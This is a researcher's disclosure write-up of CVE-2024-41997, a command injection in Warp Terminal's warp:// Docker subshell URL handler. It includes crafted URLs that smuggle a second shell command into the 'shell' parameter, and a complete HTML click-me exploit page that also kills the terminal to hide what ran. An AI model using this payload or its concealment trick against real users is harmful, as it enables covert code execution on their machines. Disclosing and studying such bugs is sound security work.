CVE-2024-41997: RCE in Warp Terminal

CVE-2024-41997: RCE in Warp Terminal

December 20, 2024

Motivation

Earlier this year, I had decided to take a look at Warp Terminal. Warp promises to bring the power of an AI assistant to your conventional terminal workflow. Privacy concerns aside, feature rich terminal emulators always bring with them a host of excellent attack surface. Finding a way to achieve remote code execution via a terminal emulator is a fantastic (read: flashy) way to achieve initial access during a Red Team operation, and the installation population (power users) would likely overlap with targets who have valuable internal access. After digging in, I was able to walk away with a very effective bug.

In this post we’ll break down choosing attack surface, identifying the bug, and methods used for exploitation.

Attack Surface

URL Schemes

One of my first stops in identifying attack surface for a new target is to simply consult the documentation. One of the first features that caught my eye was the custom URL scheme which allows the user to invoke a small set of features in Warp by clicking on a link or button containing special parameters.

Indeed listing the registered URI schemes on the host shows Warp:

$ /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 "bindings:.*:"

[SNIP]
--
bundle:                     Warp (0x15d8)
flags:                      url-type (0000000000000040)
roles:                      Viewer (0000000000000002)
bindings:                   warp:
--
bundle:                     Warp (0x1600)
flags:                      url-type (0000000000000040)
roles:                      Viewer (0000000000000002)
bindings:                   warp:
--

The docs list 3 main functions which can be invoked through the URL scheme:

  • Open a new Window
  • Open a new Tab
  • Open Launch Configuration

The “Launch Configuration” feature immediately stuck out to me, as it sounded like a way to potentially remotely deliver configuration parameters to the user via a clickable link. I began reverse engineering the app in hopes of understanding what a Launch Configuration supported and how it could potentially be exploited for code execution. While I didn’t end up finding a bug in that functionality, I stumbled into something else in the URL scheme handler which was exploitable.

Bug Discovery

Disassembly

The app is written primarily in Rust, so the disassembly can be a bit messy. The handler entrypoint for the custom warp:// url scheme lies in warp::uri::handle_incoming_uri. Within, the incoming URL is marshalled into a warp::uri::Action via the FromStr trait. In this FromStr implementation, we can identify branches for the supported actions. Expected Branches The comparisons are broken up and optimized, but we can see clearly that it has conditionals for the /new_window and /new_tab actions. However, we find an additional branch for an action not mentioned on the docs page from earlier: Unexpected Branch

There’s a hardcoded case for /docker/open_subshell. Now that’s interesting.

Warp Docker Extension

Crawling back through the documentation, we can reasonably guess that this must be related to the Warp Docker Extension. As the docs note:

Warp’s Docker extension makes it more convenient to open Docker containers in Warp. With the extension, you can click to open any Docker container in a Warpified subshell, without manually running docker exec or typing out lengthy container IDs.

This makes sense. The user would click a button inside the Docker app to launch a shell for a given container inside Warp, and the parameters specifying which one would be passed in via the URL. Let’s try invoking this functionality ourselves and see how robust it is.

Testing the Integration

Let’s start by getting a dummy Docker container running to shell into:

➜  ~ docker run -it ubuntu:latest /bin/bash

I’ll leave that running in the background. After testing a bit with the Docker extension and reading debug logs, we come to understand that the parameters we need to invoke open_subshell look like so: warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash&user=root

The required parameters are container_id and shell. Notably, the user parameter is optional. If not supplied, the shell will launch as the default user for the container.

We can simulate the delivery scenario by embedding this URL in a webpage as a clickable link, and hosting it with python’s http.server module. Hosted Attack Page

Upon clicking the link, Warp receives the input and launches a subshell for us. Testing Docker Integration

Notably, the informational output contains the Docker command used to launch the subshell. This is confirmed by using ProcessMonitor to catch the Endpoint Security event:

{
  "event": "ES_EVENT_TYPE_NOTIFY_EXEC",
  "timestamp": "2024-12-28 22:06:34 +0000",
  "process": {
    "pid": 99228,
    "name": "docker",
    "path": "/Applications/Docker.app/Contents/Resources/bin/docker",
    "uid": 501,
    "architecture": "Apple Silicon",
    "arguments": [
      "docker",
      "exec",
      "-it",
      "d21d266c616a",
      "bash"
    ],
    "ppid": 99035,
    "rpid": 94905,
    "ancestors": [
      94905,
      1
    ],
    "signing info (reported)": {
      "csFlags": 570495761,
      "platformBinary": 0,
      "signingID": "docker",
      "teamID": "9BNSXJN65R",
      "cdHash": "3C35FED4C4007AE09BD99C373127326708E8AC7E"
    },
    "signing info (computed)": {
      "teamID": "9BNSXJN65R",
      "signatureID": "docker",
      "signatureStatus": 0,
      "signatureSigner": "Developer ID",
      "signatureAuthorities": [
        "Developer ID Application: Docker Inc (9BNSXJN65R)",
        "Developer ID Certification Authority",
        "Apple Root CA"
      ]
    }
  }
}

By fuzzing these couple parameters, we quickly find that the command string is not properly sanitized! One can inject into the command string via the shell parameter, resulting in a URL that looks like this: warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash%27%20%26%20id>/tmp/hax Opening this URL triggers the docker command, and we can spot the unmatched quote that results from our injected string. An Unmatched Quote

Exploitation

We simply need to balance these quotes again and ensure that they don’t interfere with our injected command. I elected to close the quotes and hide them after a comment (#), like so:

warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash%27%20%26%20id>/tmp/hax%20%23%27

The shell parameter decodes to the following:

bash' & id>/tmp/hax #'

PoC The injected command process launches in the background, and we can observe successful execution by cat’ing the output file: Success

Knowing the Unknowable

There’s an obvious issue with this attack scenario, however. We won’t have a valid container ID to embed in the URL payload. The great news is that we don’t have to. The container_id parameter is restricted to hexadecimal characters (matching the charset of a typical Docker container ID), but the container ID is not validated before the command string is launched. This means that our injected command will run even if we supply an invalid container ID. Invalid Container ID

Full Exploit

Putting all of this together, we arrive at the full exploit:

<html>
  <body>
    <a href="warp://action/docker/open_subshell?container_id=0&shell=echo%27%20%60id>/tmp/hax%26%26killall%20stable%60%20%27&user=root">click me</a>
  </body>
</html>

The shell parameter decodes to the following:

echo' `id>/tmp/hax&&killall stable` '

While the user would typically watch the payload command execute on their screen, we can kill the Warp terminal process (stable) after our payload dispatches in the subshell. This can prevent them from seeing what command is executing, and Warp will not properly restore the window on reopen, so they will not see the command there either.

Demo

A demo, for your entertainment:

Fixes

Upon reporting, the issue was fixed swiftly by the Warp team and made available to users after about a week. The shell parameter now undergoes some sanitization, and launching Docker container subshells now require users to click a confirmation button to proceed. The version containing the fix is v0.2024.07.16.08.02. CVE details are available here.

Should you wish to experiment around with this bug, you can download the last vulnerable stable release of Warp here. Note that the application may auto-update to the latest version, so disable internet access or neuter the update mechanism for your own sanity while tinkering.